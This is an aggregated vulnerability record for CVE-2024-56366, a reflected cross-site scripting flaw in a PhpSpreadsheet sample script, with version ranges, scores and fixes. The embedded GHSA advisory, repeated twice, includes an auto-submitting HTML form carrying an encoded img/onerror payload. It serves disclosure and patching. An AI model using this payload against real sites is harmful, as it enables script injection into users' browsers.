{"id":"CVE-2024-56366","aliases":["EUVD-2025-0021","GHSA-c6fv-7vh8-2rhr"],"status":"published","title":"PhpSpreadsheet vulnerable to unauthorized reflected  XSS in the Accounting.php file","description":"PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 are vulnerable to unauthorized reflected cross-site scripting in the `Accounting.php` file. Using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` script, an attacker can perform a cross-site scripting attack. Versions  3.7.0, 2.3.5, 2.1.6, and 1.29.7 contain a patch for the issue.","severity":{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.0034,"percentile":0.27738,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2025-01-03T17:01:09Z","modified":"2026-10-28T02:30:50Z","fixes":[{"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","fixed_in":["3.7.0","1.29.7","2.1.6","2.3.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.7.0"}]}]},{"source":"ghsa","ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.29.6"},{"fixed":"1.29.7"}]}]},{"source":"ghsa","ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"last_affected":"2.1.5"},{"fixed":"2.1.6"}]}]},{"source":"ghsa","ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"last_affected":"2.3.4"},{"fixed":"2.3.5"}]}]},{"source":"ghsa","ecosystem":"Packagist","package":"phpoffice/phpexcel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.8.2"}]}]},{"source":"osv","ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.7.0"}]}],"versions":["3.3.0","3.4.0","3.5.0","3.6.0"]},{"source":"osv","ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.29.7"}]}],"versions":["1.0.0","1.0.0-beta","1.0.0-beta2","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.15.0","1.16.0","1.17.0","1.17.1","1.18.0","1.19.0","1.2.0","1.2.1","1.20.0","1.21.0","1.22.0","1.23.0","1.24.0","1.24.1","1.25.0","1.25.1","1.25.2","1.26.0","1.27.0","1.27.1","1.28.0","1.29.0","1.29.1","1.29.2","1.29.4","1.29.5","1.29.6","1.3.0","1.3.1","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0"]},{"source":"osv","ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.1.6"}]}],"versions":["2.0.0","2.1.0","2.1.1","2.1.3","2.1.4","2.1.5"]},{"source":"osv","ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.3.5"}]}],"versions":["2.2.0","2.2.1","2.2.2","2.3.0","2.3.2","2.3.3","2.3.4"]},{"source":"osv","ecosystem":"Packagist","package":"phpoffice/phpexcel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.8.2"}]}],"versions":["1.7.9","1.7.9-rc1","1.8.0","1.8.0rc1","1.8.0rc2","1.8.0rc3","1.8.0rc4","1.8.1","1.8.2"]}],"products":[{"vendor":"phpoffice","product":"phpspreadsheet"}],"references":[{"url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-c6fv-7vh8-2rhr","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56366","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-c6fv-7vh8-2rhr"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/56xxx/CVE-2024-56366.json","tags":["advisory"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-56366","title":"PhpSpreadsheet vulnerable to unauthorized reflected  XSS in the Accounting.php file","description":"PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 are vulnerable to unauthorized reflected cross-site scripting in the `Accounting.php` file. Using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` script, an attacker can perform a cross-site scripting attack. Versions  3.7.0, 2.3.5, 2.1.6, and 1.29.7 contain a patch for the issue.","status":"published","published":"2025-01-03T17:01:09.701Z","modified":"2025-01-03T18:15:53.839Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:33:57.983942Z"}],"euvd":[{"id":"EUVD-2025-0021","description":"PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 are vulnerable to unauthorized reflected cross-site scripting in the `Accounting.php` file. Using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` script, an attacker can perform a cross-site scripting attack. Versions  3.7.0, 2.3.5, 2.1.6, and 1.29.7 contain a patch for the issue.","status":"published","published":"2025-01-03T17:01:09Z","modified":"2025-01-03T18:15:53Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L","level":"high"}],"updated_at":"2026-11-03T00:04:26.497295Z"}],"ghsa":[{"id":"GHSA-c6fv-7vh8-2rhr","title":"PhpSpreadsheet allows unauthorized Reflected XSS in the Accounting.php file","description":"# Unauthorized Reflected XSS in the `Accounting.php` file\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` script, an attacker can perform a XSS-type attack\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the currency variable\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Accounting.php` file) in Phpspreadsheet.\n\nThere is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file, which leads to the possibility of a XSS attack.\nStrings are formed using the currency parameter without sanitization, which is controlled by the attacker.\n\n![fig7](https://github.com/user-attachments/assets/da0ee52d-2306-4770-a61d-bce4ba553f4f)\n\n*Figure 7. A fragment of the query in which a string and a parameter are formed without sanitization*\n\nAn attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.\n\n*Listing 4. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\n\u003chtml\u003e\n  \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n  \u003cbody\u003e\n    \u003cform action=\"https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"number\" value=\"1234\u0026#46;5678\" /\u003e\n      \u003cinput type=\"hidden\" name=\"currency\" value=\"\u0026#36;\u0026lt;img\u0026#32;src\u0026#61;1\u0026#32;onerror\u0026#61;alert\u0026#40;\u0026#41;\u0026gt;\" /\u003e\n      \u003cinput type=\"hidden\" name=\"decimals\" value=\"2\" /\u003e\n      \u003cinput type=\"hidden\" name=\"position\" value=\"1\" /\u003e\n      \u003cinput type=\"hidden\" name=\"spacing\" value=\"0\" /\u003e\n      \u003cinput type=\"hidden\" name=\"submit\" value=\"Display\u0026#32;Mask\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nAfter sending the script provided in Listing 4, the XSS vulnerability is exploited. Figure 8 shows the execution of arbitrary JavaScript code during the submission of a POST form.\n\n\u003cimg width=\"460\" alt=\"fig8\" src=\"https://github.com/user-attachments/assets/b009256e-61f7-4d72-8f6a-cc6e0efe2bb1\" /\u003e\n\n*Figure 8. Executing arbitrary JavaScript code*\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","status":"published","published":"2025-01-03T17:06:23Z","modified":"2025-03-06T18:20:26Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N","level":"high"},{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:38:34.185137Z"}],"nvd":[{"id":"CVE-2024-56366","description":"PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 are vulnerable to unauthorized reflected cross-site scripting in the `Accounting.php` file. Using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` script, an attacker can perform a cross-site scripting attack. Versions  3.7.0, 2.3.5, 2.1.6, and 1.29.7 contain a patch for the issue.","status":"published","published":"2025-01-03T17:15:08.55Z","modified":"2026-06-17T08:12:07.22Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:10:41.489236Z"}],"osv":[{"id":"CVE-2024-56366","title":"PhpSpreadsheet vulnerable to unauthorized reflected  XSS in the Accounting.php file","description":"PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 are vulnerable to unauthorized reflected cross-site scripting in the `Accounting.php` file. Using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` script, an attacker can perform a cross-site scripting attack. Versions  3.7.0, 2.3.5, 2.1.6, and 1.29.7 contain a patch for the issue.","status":"published","published":"2025-01-03T17:01:09.701Z","modified":"2026-10-28T02:30:50.852695669Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:44.777182Z"},{"id":"GHSA-c6fv-7vh8-2rhr","title":"PhpSpreadsheet allows unauthorized Reflected XSS in the Accounting.php file","description":"# Unauthorized Reflected XSS in the `Accounting.php` file\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` script, an attacker can perform a XSS-type attack\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the currency variable\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Accounting.php` file) in Phpspreadsheet.\n\nThere is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file, which leads to the possibility of a XSS attack.\nStrings are formed using the currency parameter without sanitization, which is controlled by the attacker.\n\n![fig7](https://github.com/user-attachments/assets/da0ee52d-2306-4770-a61d-bce4ba553f4f)\n\n*Figure 7. A fragment of the query in which a string and a parameter are formed without sanitization*\n\nAn attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.\n\n*Listing 4. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\n\u003chtml\u003e\n  \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n  \u003cbody\u003e\n    \u003cform action=\"https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"number\" value=\"1234\u0026#46;5678\" /\u003e\n      \u003cinput type=\"hidden\" name=\"currency\" value=\"\u0026#36;\u0026lt;img\u0026#32;src\u0026#61;1\u0026#32;onerror\u0026#61;alert\u0026#40;\u0026#41;\u0026gt;\" /\u003e\n      \u003cinput type=\"hidden\" name=\"decimals\" value=\"2\" /\u003e\n      \u003cinput type=\"hidden\" name=\"position\" value=\"1\" /\u003e\n      \u003cinput type=\"hidden\" name=\"spacing\" value=\"0\" /\u003e\n      \u003cinput type=\"hidden\" name=\"submit\" value=\"Display\u0026#32;Mask\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nAfter sending the script provided in Listing 4, the XSS vulnerability is exploited. Figure 8 shows the execution of arbitrary JavaScript code during the submission of a POST form.\n\n\u003cimg width=\"460\" alt=\"fig8\" src=\"https://github.com/user-attachments/assets/b009256e-61f7-4d72-8f6a-cc6e0efe2bb1\" /\u003e\n\n*Figure 8. Executing arbitrary JavaScript code*\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**","status":"published","published":"2025-01-03T17:06:23Z","modified":"2025-03-06T18:37:10.209003Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N","level":"high"},{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:44.571161Z"}]}}